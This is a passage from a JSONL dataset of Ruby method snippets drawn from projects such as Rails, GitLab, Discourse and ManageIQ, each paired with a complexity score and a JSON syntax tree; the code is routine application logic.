end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_message_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"last_message\",{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@message\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@messages\"]},\"last\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<conversation/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@conversation\"]},\"uuid\"]}]},{\"type\":\"str\",\"children\":[\"/messages/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_message\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel_email_domain\"]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}]}","id":"06e58b28-aadb-40a3-9476-6aeea1240160"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/callbacks.rb","start_line":202,"raw_source":"def call(env)\n target = env.target\n value = env.value\n halted = env.halted\n\n if (!halted || !@halting) && user_conditions.all? { |c| c.call(target, value) }\n user_callback.call target, value\n end\n\n env\n end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"target\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"value\"]}]},{\"type\":\"lvasgn\",\"children\":[\"halted\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"halted\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"halted\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@halting\"]},\"!\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_conditions\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_callback\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}","id":"c6ec0879-9712-4cd3-9f86-712130903c84"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/store.rb","start_line":148,"raw_source":"def build_response(d)\n {\n 'name' => d['name'],\n 'total' => d['total'],\n 'current' => d['current'],\n 'type' => d['type'],\n 'reset_interval' => d['reset_interval'],\n 'last_reset_at' => EventTime.new(*d['last_reset_at']),\n }\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"total\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"str\",\"children\":[\"total\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"current\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"str\",\"children\":[\"current\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"reset_interval\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"str\",\"children\":[\"reset_interval\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"last_reset_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EventTime\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"str\",\"children\":[\"last_reset_at\"]}]}]}]}]}]}]}","id":"947a2038-aa91-46a8-b9b1-61bd5c7487d1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/models/error_event.rb","start_line":76,"raw_source":"def initialize(attributes = {})\n if (!attributes.is_a?(Hash))\n fail ArgumentError, \"The input argument (attributes) must be a hash in `ErrorTrackingOpenAPI::ErrorEvent` initialize method\"\n end\n\n # check to see if the attribute exists and convert string to symbol for hash key\n attributes = attributes.each_with_object({}) { |(k, v), h|\n if (!self.class.attribute_map.key?(k.to_sym))\n fail ArgumentError, \"`#{k}` is not a valid attribute in `ErrorTrackingOpenAPI::ErrorEvent`. Please check the name to make sure it's valid. List of attributes: \" + self.class.attribute_map.keys.inspect\n end\n h[k.to_sym] = v\n }\n\n if attributes.key?(:'fingerprint')\n self.fingerprint = attributes[:'fingerprint']\n end\n\n if attributes.key?(:'project_id')\n self.project_id = attributes[:'project_id']\n end\n\n if attributes.key?(:'payload')\n self.payload = attributes[:'payload']\n end\n\n if attributes.key?(:'name')\n self.name = attributes[:'name']\n end\n\n if attributes.key?(:'description')\n self.description = attributes[:'description']\n end\n\n if attributes.key?(:'actor')\n self.actor = attributes[:'actor']\n end\n\n if attributes.key?(:'environment')\n self.environment = attributes[:'environment']\n end\n\n if attributes.key?(:'platform')\n self.platform = attributes[:'platform']\n end\n end","complexity_score":67.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"The input argument (attributes) must be a hash in `ErrorTrackingOpenAPI::ErrorEvent` initialize method\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"attribute_map\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_sym\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"fail\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"` is not a valid attribute in `ErrorTrackingOpenAPI::ErrorEvent`. Please check the name to make sure it's valid. List of attributes: \"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"attribute_map\"]},\"keys\"]},\"inspect\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"fingerprint\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"fingerprint=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fingerprint\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"project_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project_id\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"payload=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payload\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"description=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"actor\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"actor=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"actor\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"environment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"environment=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"environment\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"platform\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"platform=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]},null]}]}]}","id":"1e8407f4-4125-418c-9820-8340efaa40e3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/context/base.rb","start_line":38,"raw_source":"def project\n pipeline.project\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"project\"]}]}","id":"0a0eecf9-df97-46ab-a1ea-43f08219c99c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/reactive_caching.rb","start_line":157,"raw_source":"def worker_class\n WORK_TYPE.fetch(self.class.reactive_cache_work_type.to_sym)\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"worker_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WORK_TYPE\"]},\"fetch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"reactive_cache_work_type\"]},\"to_sym\"]}]}]}","id":"150cdafb-ee59-4c6e-a953-2449242b4222"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/queries/copy_service.rb","start_line":42,"raw_source":"def set_attributes(_params)\n new_query = copied_query\n new_query.sort_criteria = source.sort_criteria if source.sort_criteria\n\n ::Queries::Copy::FiltersMapper\n .new(state)\n .map_query!(new_query)\n\n ServiceResult.new(success: new_query.valid?, result: new_query)\n end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_query\",{\"type\":\"send\",\"children\":[null,\"copied_query\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"sort_criteria\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_query\"]},\"sort_criteria=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source\"]},\"sort_criteria\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Copy\"]},\"FiltersMapper\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"state\"]}]},\"map_query!\",{\"type\":\"lvar\",\"children\":[\"new_query\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResult\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_query\"]},\"valid?\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"new_query\"]}]}]}]}]}]}","id":"d3bb830d-5e41-416f-a610-3e5f87d67585"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/lithium.rb","start_line":469,"raw_source":"def import_posts\n post_count =\n mysql_query(\n \"SELECT COUNT(*) count FROM message2\n WHERE id <> root_id\",\n ).first[\n \"count\"\n ]\n\n puts \"\", \"importing posts... (#{post_count})\"\n\n batches(BATCH_SIZE) do |offset|\n posts = mysql_query <<-SQL\n SELECT id, body, deleted, user_id,\n post_date, parent_id, root_id, node_id, unique_id, row_version\n FROM message2\n WHERE id <> root_id #{TEMP}\n ORDER BY node_id, root_id, id\n LIMIT #{BATCH_SIZE}\n OFFSET #{offset}\n SQL\n\n break if posts.size < 1\n\n if all_records_exist? :posts,\n posts.map { |post|\n \"#{post[\"node_id\"]} #{post[\"root_id\"]} #{post[\"id\"]}\"\n }\n next\n end\n\n create_posts(posts, total: post_count, offset: offset) do |post|\n raw = post[\"raw\"]\n unless topic = topic_lookup_from_imported_post_id(\"#{post[\"node_id\"]} #{post[\"root_id\"]}\")\n next\n end\n\n deleted_at = topic[\"deleted\"] == 1 ? topic[\"row_version\"] : nil\n raw = post[\"body\"]\n\n if raw.present?\n new_post = {\n id: \"#{post[\"node_id\"]} #{post[\"root_id\"]} #{post[\"id\"]}\",\n user_id: user_id_from_imported_user_id(post[\"user_id\"]) || Discourse::SYSTEM_USER_ID,\n topic_id: topic[:topic_id],\n raw: raw,\n created_at: unix_time(post[\"post_date\"]),\n deleted_at: deleted_at,\n custom_fields: {\n import_unique_id: post[\"unique_id\"],\n },\n import_mode: true,\n }\n\n if parent =\n topic_lookup_from_imported_post_id(\n \"#{post[\"node_id\"]} #{post[\"root_id\"]} #{post[\"parent_id\"]}\",\n )\n new_post[:reply_to_post_number] = parent[:post_number]\n end\n\n new_post\n else\n PluginStoreRow.find_or_create_by(\n plugin_name: \"post_import_log\",\n key: post[\"unique_id\"].to_s,\n value: \"Post 'body' is empty\",\n type_name: \"String\",\n )\n nil\n end\n end\n end\n end","complexity_score":86.95,"ast_json":"{\"type\":\"def\",\"children\":[\"import_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT COUNT(*) count FROM message2\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE id <> root_id\"]}]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"count\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"importing posts... (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_count\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"posts\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" SELECT id, body, deleted, user_id,\\n\"]},{\"type\":\"str\",\"children\":[\" post_date, parent_id, root_id, node_id, unique_id, row_version\\n\"]},{\"type\":\"str\",\"children\":[\" FROM message2\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE id <> root_id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TEMP\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" ORDER BY node_id, root_id, id\\n\"]},{\"type\":\"str\",\"children\":[\" LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" OFFSET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_records_exist?\",{\"type\":\"sym\",\"children\":[\"posts\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"posts\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"node_id\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"root_id\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_posts\",{\"type\":\"lvar\",\"children\":[\"posts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"post_count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset\"]},{\"type\":\"lvar\",\"children\":[\"offset\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"raw\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"node_id\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"root_id\"]}]}]}]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted_at\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"deleted\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"row_version\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"raw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_post\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"node_id\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"root_id\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"SYSTEM_USER_ID\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"raw\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"unix_time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"post_date\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_at\"]},{\"type\":\"lvar\",\"children\":[\"deleted_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_fields\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_unique_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"unique_id\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"import_mode\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent\",{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"node_id\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"root_id\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"parent_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_post\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"reply_to_post_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_number\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"new_post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PluginStoreRow\"]},\"find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plugin_name\"]},{\"type\":\"str\",\"children\":[\"post_import_log\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"[]\",{\"type\":\"str\",\"children\":[\"unique_id\"]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"Post 'body' is empty\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type_name\"]},{\"type\":\"str\",\"children\":[\"String\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}]}]}","id":"50131e89-3656-47c2-acc6-15057ac9436a"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback/report_options.rb","start_line":71,"raw_source":"def report_time_range\n raise _(\"Option 'interval_size' is required\") if interval_size.nil?\n\n start_interval_offset = (end_interval_offset + interval_size - 1)\n\n ts = Time.now.in_time_zone(tz)\n 